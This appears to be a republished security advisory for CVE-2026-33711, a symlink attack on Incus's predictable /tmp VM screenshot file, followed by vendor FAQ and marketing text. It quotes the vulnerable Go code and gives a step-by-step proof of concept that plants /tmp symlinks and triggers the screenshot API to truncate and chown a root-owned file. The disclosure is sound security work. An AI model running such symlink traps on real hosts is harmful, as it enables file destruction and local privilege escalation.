Summary
Incus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.
As Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.
On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protected_symlinks.
On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.
Details
The incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.
An attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.
This allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.
As previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.
It's possible to check on its status by reading the file at /proc/sys/fs/protected_symlinks, a value of 0 is required for this attack to work.
Affected File:
https://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go
Affected Code:
func instanceConsoleGet(d *Daemon, r *http.Request) response.Response {
[...]
} else if inst.Type() == instancetype.VM {
v, ok := inst.(instance.VM)
if !ok {
return response.SmartError(errors.New("Failed to cast inst to VM"))
}
var headers map[string]string
if consoleLogType == "vga" {
screenshotFile, err := os.Create(fmt.Sprintf("/tmp/incus_screenshot_%d", inst.ID()))
if err != nil {
return response.SmartError(fmt.Errorf("Couldn't create screenshot file: %w", err))
}
err = screenshotFile.Chmod(0o600)
if err != nil {
return response.SmartError(err)
}
ent.Cleanup = func() {
_ = screenshotFile.Close()
_ = os.Remove(screenshotFile.Name())
}
err = v.ConsoleScreenshot(screenshotFile)
if err != nil {
return response.SmartError(err)
}
[...]
}
[...]
}
Affected File:
https://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go
Affected Code:
func (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {
if !d.IsRunning() {
return errors.New("Instance is not running")
}
// Check if the agent is running.
monitor, err := d.qmpConnect()
if err != nil {
return err
}
err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)
if err != nil {
return fmt.Errorf("Failed to chown screenshot path: %w", err)
}
// Take the screenshot.
err = monitor.Screendump(screenshotFile.Name())
if err != nil {
return fmt.Errorf("Failed taking screenshot: %w", err)
}
return nil
}
PoC
The following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_ namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.
Step 0: Disable the kernel symlink protection mechanism
Commands (as root):
echo 0 > /proc/sys/fs/protected_symlinks
Step 1: Prepare the target VM
From an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.
Commands:
incus init images:alpine/edge lpe-vm --vm --project default
incus config set lpe-vm security.secureboot=false --project default
incus start lpe-vm --project default
Step 2: Create a root-owned trap target and pre-place /tmp symlinks
On the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.
Commands:
echo "SuperSecretRootHash" > /root/shadow_trap
chmod 600 /root/shadow_trap
ls -l /root/shadow_trap
for i in $(seq 1 100); do
ln -sf /root/shadow_trap /tmp/incus_screenshot_$i
done
ls -l /tmp/incus_screenshot_* | head
Result:
-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap
Step 3: Trigger the vulnerable screenshot path
From an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_ path, change its ownership, and pass the same pathname into the QEMU screendump flow.
Command:
incus query -X GET "/1.0/instances/lpe-vm/console?project=default&type=vga" > /dev/null
Result:
Error: Failed taking screenshot: Failed to connect to QEMU monitor
Step 4: Verify host-side impact
On the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.
Command:
ls -l /root/shadow_trap && stat /root/shadow_trap
Result:
-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap
File: /root/shadow_trap
Size: 0
Access: (0600/-rw-------)
Uid: ( 100000/ incus)
Gid: ( 0/ root)
It is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.
Credit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33711? CVE-2026-33711 is a medium-severity security vulnerability in github.com/lxc/incus/v6 (go), affecting versions < 6.23.0. It is fixed in 6.23.0.
- Which versions of github.com/lxc/incus/v6 are affected by CVE-2026-33711? github.com/lxc/incus/v6 (go) versions < 6.23.0 is affected.
- Is there a fix for CVE-2026-33711? Yes. CVE-2026-33711 is fixed in 6.23.0. Upgrade to this version or later.
- Is CVE-2026-33711 exploitable, and should I be worried? Whether CVE-2026-33711 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33711 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33711? Upgrade
github.com/lxc/incus/v6to 6.23.0 or later.